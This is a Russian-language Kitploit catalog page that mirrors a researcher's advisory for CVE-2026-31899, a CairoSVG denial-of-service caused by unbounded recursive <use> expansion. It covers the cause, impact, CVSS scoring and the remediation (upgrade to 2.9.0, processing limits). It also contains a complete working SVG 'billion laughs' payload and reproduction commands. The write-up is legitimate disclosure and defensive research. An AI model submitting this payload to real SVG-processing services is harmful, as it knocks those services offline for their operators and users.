Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31899 — CVE-2026-31899: Экспоненциальный DoS через амплификацию рекурсивного элемента <use> в CairoSVG (CVSS 7.5 Высокий) | Kitploit
Инструменты/GitHubGitHub/snailsploit/cve-2026-31899
Анализ уязвимостейЭксплуатацияВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: Экспоненциальный DoS через амплификацию рекурсивного элемента <use> в CairoSVG (CVSS 7.5 Высокий)

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31899: Экспоненциальный DoS через рекурсивную амплификацию элементов в CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Ключевые слова: CVE-2026-31899, CairoSVG, экспоненциальный DoS, SVG-бомба, рекурсивный элемент use, отказ в обслуживании, XML-амплификация, уязвимость Python SVG, CWE-400, неконтролируемое потребление ресурсов, SVG-«billion laughs»

Оглавление

  • Обзор
  • Детали уязвимости
  • Технический анализ
  • Доказательство концепции
  • Влияние
  • Устранение
  • Метрики CVSS
  • Ссылки
  • Контакты
  • Обзор

    Экспоненциальный отказ в обслуживании CairoSVG (CVE-2026-31899) — SVG-нагрузка размером 1411 байт бессрочно удерживает ЦП на 100% за счёт рекурсивной амплификации элементов .

    CairoSVG (~300 тыс. загрузок в неделю) — широко используемый Python-конвертер SVG в PNG/PDF. Функция use() в cairosvg/defs.py рекурсивно обрабатывает элементы без каких-либо ограничений по глубине или количеству. При 5 уровнях вложенности и 10 ссылках на каждом уровне небольшой SVG-файл вызывает 10^5 = 100 000 вызовов рендеринга — вариант «billion laughs» для SVG.

    Обнаружил: Kai Aizen — SnailSploit Опубликовано: 13 марта 2026 Оценка CVSS: 7.5 (Высокая) CWE: CWE-400 — Неконтролируемое потребление ресурсов Пакет: CairoSVG (PyPI) Тип атаки: Экспоненциальный отказ в обслуживании Требуемые привилегии: Нет (без аутентификации)

    Детали уязвимости

    Описание

    Функция use() в cairosvg/defs.py (строка ~335) рекурсивно разрешает элементы , ссылающиеся на другие элементы . Нет ограничения на глубину рекурсии и нет общего лимита на количество элементов. Злоумышленник может создать небольшой SVG, в котором каждый уровень ссылается на предыдущий N раз, что даёт O(N^depth) вызовов рендеринга из входных данных размером O(depth).

    Ключевые характеристики

    • Коэффициент амплификации: O(10^N) вызовов рендеринга из O(N) строк входных данных
    • Профиль памяти: стабильные ~43 МБ — OOM-kill не срабатывает, процесс никогда не завершается сам
    • Профиль ЦП: одно ядро бессрочно загружено на 100%
    • Размер нагрузки: 1411 байт

    Затронутые версии

    • Уязвимые: все версии < 2.9.0
    • Исправленные: версия 2.9.0 и выше

    Технический анализ

    Уязвимость существует по следующим причинам:

    1. Функция use() в defs.py обрабатывает каждый элемент , находя его цель по xlink:href
    2. Если цель сама является группой, содержащей элементы , они рекурсивно разворачиваются
    3. Не применяется ни счётчик глубины, ни лимит количества элементов
    4. Каждый уровень умножает объём работы на коэффициент ветвления (например, в 10 раз на уровень)

    При 5 уровнях и коэффициенте ветвления 10:

    root@kitploit:~
    Level 0: 1 element (root <use>)
    Level 1: 10 elements
    Level 2: 100 elements
    Level 3: 1,000 elements
    Level 4: 10,000 elements
    Level 5: 100,000 render calls
    

    Итого: 111 111 вызовов рендеринга из входных данных размером 1411 байт.

    Доказательство концепции

    SVG-нагрузка (poc.svg)

    root@kitploit:~
    <?xml version="1.0"?>
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <defs>
        <g id="a"><rect width="1" height="1"/></g>
        <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
        <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
        <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
        <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
      </defs>
      <use xlink:href="#e"/>
    </svg>
    

    Воспроизведение

    Способ 1 — командная строка:

    root@kitploit:~
    timeout 10 cairosvg poc.svg -o test.png
    # Expected: timeout kills the process after 10 seconds (it never completes)
    

    Способ 2 — Python:

    root@kitploit:~
    import cairosvg
    import signal
    
    signal.alarm(5)  # Kill after 5 seconds
    try:
        cairosvg.svg2png(bytestring=open("poc.svg").read())
    except:
        print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
    

    Влияние

    Любой сервис, который принимает SVG на входе и использует CairoSVG для обработки, уязвим:

    Поверхность атакиПример
    Генерация миниатюрЗагрузка SVG → сервер конвертирует в PNG
    Генерация PDFSVG, встроенный в документ → CairoSVG выполняет рендеринг
    Обработка аватаров/изображенийЗагруженные пользователем SVG-изображения профиля
    Рендеринг отчётовSVG-диаграммы в автоматизированных отчётах
    CI/CD-конвейерыSVG-ресурсы, обрабатываемые во время сборки

    Один запрос с нагрузкой 1,4 КБ бессрочно заблокирует поток обработки, потребляя минимум памяти (OOM-kill вас не спасёт).

    Устранение

    Немедленное исправление

    Обновите CairoSVG до версии 2.9.0 или выше:

    root@kitploit:~
    pip install --upgrade CairoSVG>=2.9.0
    

    Эшелонированная защита

    • Установите тайм-ауты обработки на всех конечных точках конвертации SVG
    • Внедрите ограничения на размер загружаемых SVG-файлов
    • Рассмотрите возможность изоляции обработки SVG в отдельных воркерах с ограничениями по времени ЦП

    Метрики CVSS v3.1

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    
    МетрикаЗначение
    Вектор атакиСетевой (AV:N)
    Сложность атакиНизкая (AC:L)
    Требуемые привилегииОтсутствуют (PR:N)
    Взаимодействие с пользователемНе требуется (UI:N)
    Область действияБез изменений (S:U)
    КонфиденциальностьОтсутствует (C:N)
    ЦелостностьОтсутствует (I:N)
    ДоступностьВысокая (A:H)

    Хронология

    ДатаСобытие
    2026-03-09CVE зарезервирован
    2026-03-13Опубликован бюллетень (GHSA-f38f-5xpm-9r7c)
    2026-03-13Выпущена CairoSVG 2.9.0 с исправлением

    Ссылки

    • GHSA-f38f-5xpm-9r7c
    • NVD — CVE-2026-31899
    • CairoSVG на PyPI
    • CWE-400: Неконтролируемое потребление ресурсов
    • Коммит с исправлением

    Контакты

    Kai Aizen (SnailSploit)

    • Веб-сайт: snailsploit.com
    • GitHub: @SnailSploit
    • LinkedIn: /in/kaiaizen

    ⚠️ Отказ от ответственности: Этот репозиторий предназначен исключительно для образовательных целей и санкционированных исследований в области безопасности. Доказательство концепции предоставлено, чтобы помочь защитникам проверить свою подверженность уязвимости. Используйте ответственно.


    📚 Документация и автор

    Полное описание проекта, методология и связанные исследования доступны по адресу:

    https://snailsploit.com/cves

    Создано Kai Aizen — независимым исследователем в области наступательной безопасности.

    snailsploit.com · Исследования · Фреймворки · GitHub · LinkedIn · ResearchGate · X/Twitter

    Та же атака. Другая среда.

    Скачать инструмент